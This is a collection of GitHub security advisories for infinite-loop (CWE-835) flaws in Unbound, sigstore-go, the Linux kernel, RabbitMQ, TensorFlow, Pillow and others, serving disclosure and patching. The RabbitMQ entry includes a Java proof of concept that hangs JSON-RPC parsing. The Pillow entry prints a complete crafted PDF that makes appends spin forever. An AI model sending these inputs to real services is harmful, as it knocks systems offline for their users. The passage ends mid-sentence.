CWE-835

{
  "affected": [],
  "aliases": [
    "CVE-2019-25040"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-04-27T06:15:00Z",
    "severity": "HIGH"
  },
  "details": "Unbound before 1.9.5 allows an infinite loop via a compressed name in dname_pkt_copy.",
  "id": "GHSA-cq2j-hrgf-rxgp",
  "modified": "2024-03-21T03:34:04Z",
  "published": "2022-05-24T17:48:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-25040"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2021/05/msg00007.html"
    },
    {
      "type": "WEB",
      "url": "https://ostif.org/our-audit-of-unbound-dns-by-x41-d-sec-full-results"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20210507-0007"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.6.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/sigstore/sigstore-go"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-45395"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-09-04T20:18:18Z",
    "nvd_published_at": "2024-09-04T21:15:14Z",
    "severity": "LOW"
  },
  "details": "### Impact\n\nsigstore-go is susceptible to a denial of service attack when a verifier is provided a maliciously crafted Sigstore Bundle containing large amounts of verifiable data, in the form of signed transparency log entries, RFC 3161 timestamps, and attestation subjects. The verification of these data structures is computationally expensive. This can be used to consume excessive CPU resources, leading to a denial of service attack. TUF\u0027s security model labels this type of vulnerability an \"Endless data attack,\" and can lead to verification failing to complete and disrupting services that rely on sigstore-go for verification.\n\nThe vulnerable loops are in the verification functions in the package `github.com/sigstore/sigstore-go/pkg/verify`. The first is the DSSE envelope verification loop in `verifyEnvelopeWithArtifact`, which decodes all the digests in an attestation can be found here:\n\nhttps://github.com/sigstore/sigstore-go/blob/725e508ed4933e6f5b5206e32af4bbe76f587b54/pkg/verify/signature.go#L183-L193\n\nThe next loop is in the `VerifyArtifactTransparencyLog` function, which verifies all the signed entries in a bundle:\n\nhttps://github.com/sigstore/sigstore-go/blob/725e508ed4933e6f5b5206e32af4bbe76f587b54/pkg/verify/tlog.go#L74-L178\n\nThe next loop is the `VerifyTimestampAuthority` function, which verifies all the RFC 3161 timestamps in a bundle:\n\nhttps://github.com/sigstore/sigstore-go/blob/725e508ed4933e6f5b5206e32af4bbe76f587b54/pkg/verify/tsa.go#L59-L68\n\n### Patches\n\nThis vulnerability is addressed with sigstore-go 0.6.1, which adds hard limits to the number of verifiable data structures that can be processed in a bundle. Verification will fail if a bundle has data that exceeds these limits. The limits are:\n\n- 32 signed transparency log entries\n- 32 RFC 3161 timestamps\n- 1024 attestation subjects\n- 32 digests per attestation subject\n\nThese limits are intended to be high enough to accommodate the vast majority of use cases, while preventing the verification of maliciously crafted bundles that contain large amounts of verifiable data.\n\n### Workarounds\n\nThe best way to mitigate the risk is to upgrade to sigstore-go 0.6.1 or later. Users who are vulnerable but unable to quickly upgrade may consider adding manual bundle validation to enforce limits similar to those in the referenced patch prior to calling sigstore-go\u0027s verification functions.\n",
  "id": "GHSA-cq38-jh5f-37mq",
  "modified": "2024-09-04T21:34:54Z",
  "published": "2024-09-04T20:18:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sigstore/sigstore-go/security/advisories/GHSA-cq38-jh5f-37mq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45395"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sigstore/sigstore-go/commit/01e70e89e58226286d7977b4dba43b6be472b12c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sigstore/sigstore-go"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sigstore/sigstore-go/blob/725e508ed4933e6f5b5206e32af4bbe76f587b54/pkg/verify/signature.go#L183-L193"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sigstore/sigstore-go/blob/725e508ed4933e6f5b5206e32af4bbe76f587b54/pkg/verify/tlog.go#L74-L178"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sigstore/sigstore-go/blob/725e508ed4933e6f5b5206e32af4bbe76f587b54/pkg/verify/tsa.go#L59-L68"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "sigstore-go has an unbounded loop over untrusted input can lead to endless data attack"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-21850"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-12T10:15:17Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvmet: Fix crash when a namespace is disabled\n\nThe namespace percpu counter protects pending I/O, and we can\nonly safely diable the namespace once the counter drop to zero.\nOtherwise we end up with a crash when running blktests/nvme/058\n(eg for loop transport):\n\n[ 2352.930426] [  T53909] Oops: general protection fault, probably for non-canonical address 0xdffffc0000000005: 0000 [#1] PREEMPT SMP KASAN PTI\n[ 2352.930431] [  T53909] KASAN: null-ptr-deref in range [0x0000000000000028-0x000000000000002f]\n[ 2352.930434] [  T53909] CPU: 3 UID: 0 PID: 53909 Comm: kworker/u16:5 Tainted: G        W          6.13.0-rc6 #232\n[ 2352.930438] [  T53909] Tainted: [W]=WARN\n[ 2352.930440] [  T53909] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-3.fc41 04/01/2014\n[ 2352.930443] [  T53909] Workqueue: nvmet-wq nvme_loop_execute_work [nvme_loop]\n[ 2352.930449] [  T53909] RIP: 0010:blkcg_set_ioprio+0x44/0x180\n\nas the queue is already torn down when calling submit_bio();\n\nSo we need to init the percpu counter in nvmet_ns_enable(), and\nwait for it to drop to zero in nvmet_ns_disable() to avoid having\nI/O pending after the namespace has been disabled.",
  "id": "GHSA-cq9m-7482-xq9j",
  "modified": "2025-03-13T18:32:21Z",
  "published": "2025-03-12T12:30:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21850"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/4082326807072b71496501b6a0c55ffe8d5092a5"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/cc0607594f6813342b27c752c6fb6f6eb9980cb5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-48862"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-16T13:15:13Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nvhost: fix hung thread due to erroneous iotlb entries\n\nIn vhost_iotlb_add_range_ctx(), range size can overflow to 0 when\nstart is 0 and last is ULONG_MAX. One instance where it can happen\nis when userspace sends an IOTLB message with iova=size=uaddr=0\n(vhost_process_iotlb_msg). So, an entry with size = 0, start = 0,\nlast = ULONG_MAX ends up in the iotlb. Next time a packet is sent,\niotlb_access_ok() loops indefinitely due to that erroneous entry.\n\n\tCall Trace:\n\t \u003cTASK\u003e\n\t iotlb_access_ok+0x21b/0x3e0 drivers/vhost/vhost.c:1340\n\t vq_meta_prefetch+0xbc/0x280 drivers/vhost/vhost.c:1366\n\t vhost_transport_do_send_pkt+0xe0/0xfd0 drivers/vhost/vsock.c:104\n\t vhost_worker+0x23d/0x3d0 drivers/vhost/vhost.c:372\n\t kthread+0x2e9/0x3a0 kernel/kthread.c:377\n\t ret_from_fork+0x1f/0x30 arch/x86/entry/entry_64.S:295\n\t \u003c/TASK\u003e\n\nReported by syzbot at:\n\thttps://syzkaller.appspot.com/bug?extid=0abd373e2e50d704db87\n\nTo fix this, do two things:\n\n1. Return -EINVAL in vhost_chr_write_iter() when userspace asks to map\n   a range with size 0.\n2. Fix vhost_iotlb_add_range_ctx() to handle the range [0, ULONG_MAX]\n   by splitting it into two entries.",
  "id": "GHSA-cqc3-8mfm-84p4",
  "modified": "2024-07-23T15:31:08Z",
  "published": "2024-07-16T15:30:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-48862"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/d9a747e6b6561280bf1791bb24c5e9e082193dad"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/e2ae38cf3d91837a493cb2093c87700ff3cbe667"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/f8d88e86e90ea1002226d7ac2430152bfea003d1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.36.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "com.rabbitmq:amqp-client"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.36.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-106121"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-07T20:42:33Z",
    "nvd_published_at": "2026-10-06T19:17:43Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`com.rabbitmq.tools.json.JSONReader.read()` never returns when its input ends inside a quoted string or a `//` line comment. Both scanners walk the input with `StringCharacterIterator.next()` but only compare against a delimiter, so once the iterator reaches `CharacterIterator.DONE` (`\uffff`) they loop forever. The string scanner (`string()`, line 210, `while (c != sep)`) also appends `\uffff` to a `StringBuilder` every iteration, so it fills the heap and throws `OutOfMemoryError`, taking down the JVM. The comment scanner (`skipWhiteSpace()`, lines 89-92, `while (c != \u0027\\n\u0027)`) pins a thread at 100% CPU with no allocation.\n\nThis is reachable with a single message. `JsonRpcServer` and `JsonRpcClient` fall back to `DefaultJsonRpcMapper` whenever no mapper is passed (`JsonRpcServer.java:84` and `:114`, `JsonRpcClient.java:186`), and that mapper hands the raw message body straight to `JSONReader.read()` (`DefaultJsonRpcMapper.java:42` for the server request, `:52` for the client reply). A caller that can publish to the RPC request queue hangs the server; a malicious or MITM\u0027d JSON-RPC service does the same to a client.\n\n## Proof of concept\n\nAgainst `amqp-client` 5.36.0 from Maven Central:\n\n```java\nimport com.rabbitmq.tools.jsonrpc.DefaultJsonRpcMapper;\n\npublic class Poc {\n    public static void main(String[] args) {\n        DefaultJsonRpcMapper mapper = new DefaultJsonRpcMapper();\n        mapper.parse(\"{\\\"method\\\":\\\"x\", String.class); // unterminated string\n        // mapper.parse(\"//\", String.class);           // unterminated // comment\n        System.out.println(\"unreachable\");\n    }\n}\n```\n\n`java -Xmx64m -cp amqp-client-5.36.0.jar:. Poc` throws `OutOfMemoryError: Java heap space` in about 0.1s and never prints. Swapping in the `//` line spins at 100% CPU and never returns. A well-formed body such as `{\"method\":\"x\"}` returns immediately.\n\n## Impact\n\nAvailability. One small, unauthenticated message stops a JSON-RPC endpoint: the unterminated string exhausts the heap, the unterminated comment pins a thread forever. Neither is recoverable per request - `JsonRpcServer.doCall` only catches `ClassCastException`, and an `OutOfMemoryError` affects the whole process.\n\n## Scope and fix\n\nOnly applications using the JSON-RPC-over-AMQP tooling (`com.rabbitmq.tools.jsonrpc`) with the default `DefaultJsonRpcMapper` are affected. `DefaultJsonRpcMapper` and `JSONReader` are deprecated in favour of `JacksonJsonRpcMapper`, but both still ship and remain the default when no mapper is supplied. The fix is to stop both loops at `CharacterIterator.DONE`.",
  "id": "GHSA-cqgh-8p3p-mx4m",
  "modified": "2026-10-07T20:42:33Z",
  "published": "2026-10-07T20:42:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rabbitmq/rabbitmq-java-client/security/advisories/GHSA-cqgh-8p3p-mx4m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-106121"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rabbitmq/rabbitmq-java-client/pull/2100"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rabbitmq/rabbitmq-java-client/commit/25fad817291feff3195c32620117d295598f8b41"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rabbitmq/rabbitmq-java-client"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rabbitmq/rabbitmq-java-client/releases/tag/v5.37.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "RabbitMQ: JSONReader in the default JSON-RPC mapper never terminates on truncated input, causing DoS"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-68762"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-17T16:17:30Z",
    "severity": "MODERATE"
  },
  "details": "In JetBrains Ktor before 3.4.1 potential DoS attack via WebSocket decompression was possible",
  "id": "GHSA-cw22-f535-mjjw",
  "modified": "2026-08-17T18:31:17Z",
  "published": "2026-08-17T18:31:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-68762"
    },
    {
      "type": "WEB",
      "url": "https://www.jetbrains.com/privacy-security/issues-fixed"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-38311"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-08-09T22:15:00Z",
    "severity": "HIGH"
  },
  "details": "In Contiki 3.0, potential nonterminating acknowledgment loops exist in the Telnet service. When the negotiated options are already disabled, servers still respond to DONT and WONT requests with WONT or DONT commands, which may lead to infinite acknowledgment loops, denial of service, and excessive CPU consumption.",
  "id": "GHSA-cw9g-qwf2-42hw",
  "modified": "2022-05-24T19:10:37Z",
  "published": "2022-05-24T19:10:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-38311"
    },
    {
      "type": "WEB",
      "url": "https://github.com/contiki-os/contiki/issues/2685"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.3.0"
            },
            {
              "fixed": "2.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.0"
            },
            {
              "fixed": "2.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-cpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-cpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-cpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.3.0"
            },
            {
              "fixed": "2.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-cpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.0"
            },
            {
              "fixed": "2.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-gpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-gpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-gpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.3.0"
            },
            {
              "fixed": "2.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-gpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.0"
            },
            {
              "fixed": "2.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-29591"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674",
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-18T16:46:07Z",
    "nvd_published_at": "2021-05-14T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nTFlite graphs must not have loops between nodes. However, this condition was not checked and an attacker could craft models that would result in infinite loop during evaluation. In certain cases, the infinite loop would be replaced by stack overflow due to too many recursive calls.\n\nFor example, the [`While` implementation](https://github.com/tensorflow/tensorflow/blob/106d8f4fb89335a2c52d7c895b7a7485465ca8d9/tensorflow/lite/kernels/while.cc) could be tricked into a scneario where both the body and the loop subgraphs are the same. Evaluating one of the subgraphs means calling the `Eval` function for the other and this quickly exhaust all stack space.\n    \n### Patches \nWe have patched the issue in GitHub commit [9c1dc920d8ffb4893d6c9d27d1f039607b326743](https://github.com/tensorflow/tensorflow/commit/9c1dc920d8ffb4893d6c9d27d1f039607b326743) (for the `While` operator) and in GitHub commit [c6173f5fe66cdbab74f4f869311fe6aae2ba35f4](https://github.com/tensorflow/tensorflow/commit/c6173f5fe66cdbab74f4f869311fe6aae2ba35f4) (in general).\n    \nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution \nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.",
  "id": "GHSA-cwv3-863g-39vx",
  "modified": "2024-10-31T21:22:52Z",
  "published": "2021-05-21T14:26:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-cwv3-863g-39vx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29591"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/commit/9c1dc920d8ffb4893d6c9d27d1f039607b326743"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/commit/c6173f5fe66cdbab74f4f869311fe6aae2ba35f4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-519.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-717.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-228.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tensorflow/tensorflow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/blob/106d8f4fb89335a2c52d7c895b7a7485465ca8d9/tensorflow/lite/kernels/while.cc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Stack overflow due to looping TFLite subgraph"
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-25673"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-03-15T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability has been identified in SIMATIC S7-PLCSIM V5.4 (All versions). An attacker with local access to the system could cause a Denial-of-Service condition in the application when it is used to open a specially crafted file. As a consequence, the application could enter an infinite loop, become unresponsive and must be restarted to restore the service.",
  "id": "GHSA-cxqw-29jq-pcjv",
  "modified": "2022-05-24T17:44:34Z",
  "published": "2022-05-24T17:44:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25673"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-256092.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Pillow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.1.0"
            },
            {
              "fixed": "13.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-112406"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-21T21:21:07Z",
    "nvd_published_at": "2026-10-19T22:17:08Z",
    "severity": "HIGH"
  },
  "details": "```\n============================================================================\nInfinite loop in PdfParser.rewrite_pages on page tree Parent cycle\nLocation: src/PIL/PdfParser.py:505  in PdfParser.rewrite_pages()\nCommit:   a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA PDF file of a few hundred bytes makes Pillow hang forever, holding one processor core at 100%, when an application tries to append an image to it. Anyone who can supply the existing PDF to an application that calls `im.save(fp, \"PDF\", append=True)` (or `save_all=True, append=True`) can tie up that worker indefinitely. Memory use stays flat, so only an external timeout stops it.\n\nThe bug is in `PdfParser.rewrite_pages()` in `src/PIL/PdfParser.py` (the `while pages_tree_node_ref:` loop at line 505). For each original page, it walks the `/Parent` chain upward and stops only when it reaches a node with no `/Parent`. It keeps no record of nodes it has already visited, so a loop in that chain never ends. The simplest case is a `/Pages` root that lists itself as its own `/Parent`; a longer cycle among page-tree nodes behaves the same way. The path is `PdfImagePlugin._save()` \u2192 `write_catalog()` \u2192 `rewrite_pages()`, and it is reached whether the save target is a file path or a `BytesIO`. Plain `Image.open()` pipelines are not affected, because Pillow only parses PDFs on the append path.\n\nThis is a sibling of CVE-2026-42310 (the cyclic trailer `/Prev` loop in the same parser). The `processed_offsets` guard added to `read_prev_trailer()` for that issue does not cover this walk. The loop was introduced in 24ecfe315ab5 (2018-03-03) and has been present in every release since 5.1.0.\n\nThe attached reproducer builds two in-memory PDFs and appends a 4\u00d74 image to each. The normal file finishes in about 45 ms. The 333-byte self-parented file is still spinning inside `rewrite_pages()` when a 5-second watchdog interrupts it. Two alternative fixes are attached: one silently tolerates the cycle, and one rejects the file with an error.\n\n## Details\n\n`PdfParser.rewrite_pages()` walks the `/Parent` chain of every pre-existing page upward and stops only when a node has no `/Parent`. It keeps no record of visited nodes, so a page-tree node whose `/Parent` points at itself, or at any node below it, makes the walk spin forever.\n\nThe following 333-byte file is a valid one-page PDF except that object 2, the page-tree root, declares `/Parent 2 0 R`:\n\n```\n%PDF-1.4\n1 0 obj\n\u003c\u003c/Type /Catalog /Pages 2 0 R\u003e\u003e\nendobj\n2 0 obj\n\u003c\u003c/Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R\u003e\u003e\nendobj\n3 0 obj\n\u003c\u003c/Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]\u003e\u003e\nendobj\nxref\n0 4\n0000000000 65535 f \n0000000009 00000 n \n0000000056 00000 n \n0000000125 00000 n \ntrailer\n\u003c\u003c/Size 4 /Root 1 0 R\u003e\u003e\nstartxref\n192\n%%EOF\n```\n\n`Image.new(\"RGB\", (4, 4)).save(io.BytesIO(pdf), \"PDF\", append=True)` on these bytes never returns and holds one core at 100 % (the same happens when the target is a file path opened `r+b`). Interrupting it with `SIGALRM` after 5 s gives this traceback every time:\n\n```\n  File \"src/PIL/PdfImagePlugin.py\", line 263, in _save\n    existing_pdf.write_catalog()\n  File \"src/PIL/PdfParser.py\", line 473, in write_catalog\n    self.rewrite_pages()\n  File \"src/PIL/PdfParser.py\", line 505, in rewrite_pages\n    while pages_tree_node_ref:\n```\n\nThe same file without `/Parent 2 0 R` on object 2 is appended to in ~30 ms.\n\nThe loop:\n\n```python\n# src/PIL/PdfParser.py:483-510\ndef rewrite_pages(self) -\u003e None:\n    pages_tree_nodes_to_delete = []\n    for i, page_ref in enumerate(self.orig_pages):\n        page_info = self.cached_objects[page_ref]\n        del self.xref_table[page_ref.object_id]\n        pages_tree_nodes_to_delete.append(page_info[PdfName(b\"Parent\")])\n        \u2026\n    # delete redundant Pages tree nodes from xref table\n    for pages_tree_node_ref in pages_tree_nodes_to_delete:\n        while pages_tree_node_ref:\n            pages_tree_node = self.cached_objects[pages_tree_node_ref]\n            if pages_tree_node_ref.object_id in self.xref_table:\n                del self.xref_table[pages_tree_node_ref.object_id]\n            pages_tree_node_ref = pages_tree_node.get(b\"Parent\", None)\n    self.orig_pages = []\n```\n\nHow the input gets there: with `append=True`, `PdfImagePlugin._save()` opens the existing bytes with `PdfParser.PdfParser(f=fp, \u2026, mode=\"r+b\")` (`src/PIL/PdfImagePlugin.py:199`), whose constructor calls `read_pdf_info()`. That reads the catalog, reads the page-tree root through `read_indirect()` \u2014 which stores every object it reads in `self.cached_objects` (`src/PIL/PdfParser.py:1077`) \u2014 and flattens the tree with `linearize_page_tree()`, which `read_indirect()`s every `/Kids` entry. So after parsing, `orig_pages == [3 0 R]` and objects 2 and 3 are both in `cached_objects`. `_save()` then calls `existing_pdf.write_catalog()` \u2192 `rewrite_pages()`.\n\nFor the file above, the first loop puts page 3\u0027s `/Parent`, `2 0 R`, into `pages_tree_nodes_to_delete`. The inner `while` looks object 2 up in `cached_objects`, removes it from the xref table on the first pass, and sets `pages_tree_node_ref` to object 2\u0027s `/Parent` \u2014 which is `2 0 R` again. Nothing in the loop body changes on subsequent iterations, so it never exits: `cached_objects[2 0 R]` is never evicted, and deleting an already-deleted id from `XrefTable` is silent \u2014 `__delitem__` only records the id in `deleted_entries`, while `__contains__` keeps answering from `existing_entries`. The loop performs no I/O and no allocation, so neither `MemoryError` nor the recursion limit intervenes. A longer cycle behaves identically as long as every node on it was reached through `linearize_page_tree()` and is therefore cached (e.g. root 2 \u2192 `/Kids [4 0 R]`, node 4 \u2192 `/Kids [3 0 R] /Parent 2 0 R`, and root 2 declaring `/Parent 4 0 R`); a `/Parent` pointing at an object that was never read raises `KeyError` instead, which is harmless.\n\nThe parser already defends against exactly this shape of problem one level up: `read_prev_trailer()` (`src/PIL/PdfParser.py:699-722`) carries a `processed_offsets` list and raises `PdfFormatError(\"trailer loop found\")` when a `/Prev` offset repeats \u2014 the fix for CVE-2026-42310. The `/Parent` walk in `rewrite_pages()` has no equivalent guard.\n\nThe unguarded walk was introduced in `24ecfe315ab5` (\"issue #2959: fix wrong Parent of pre-existing Page objects when appending\", 2018-03-03) and has been in every release since 5.1.0.\n\n## Impact\n\nAny application that appends pages to a PDF it did not produce \u2014 `im.save(fp, \"PDF\", append=True)` or `save_all=True, 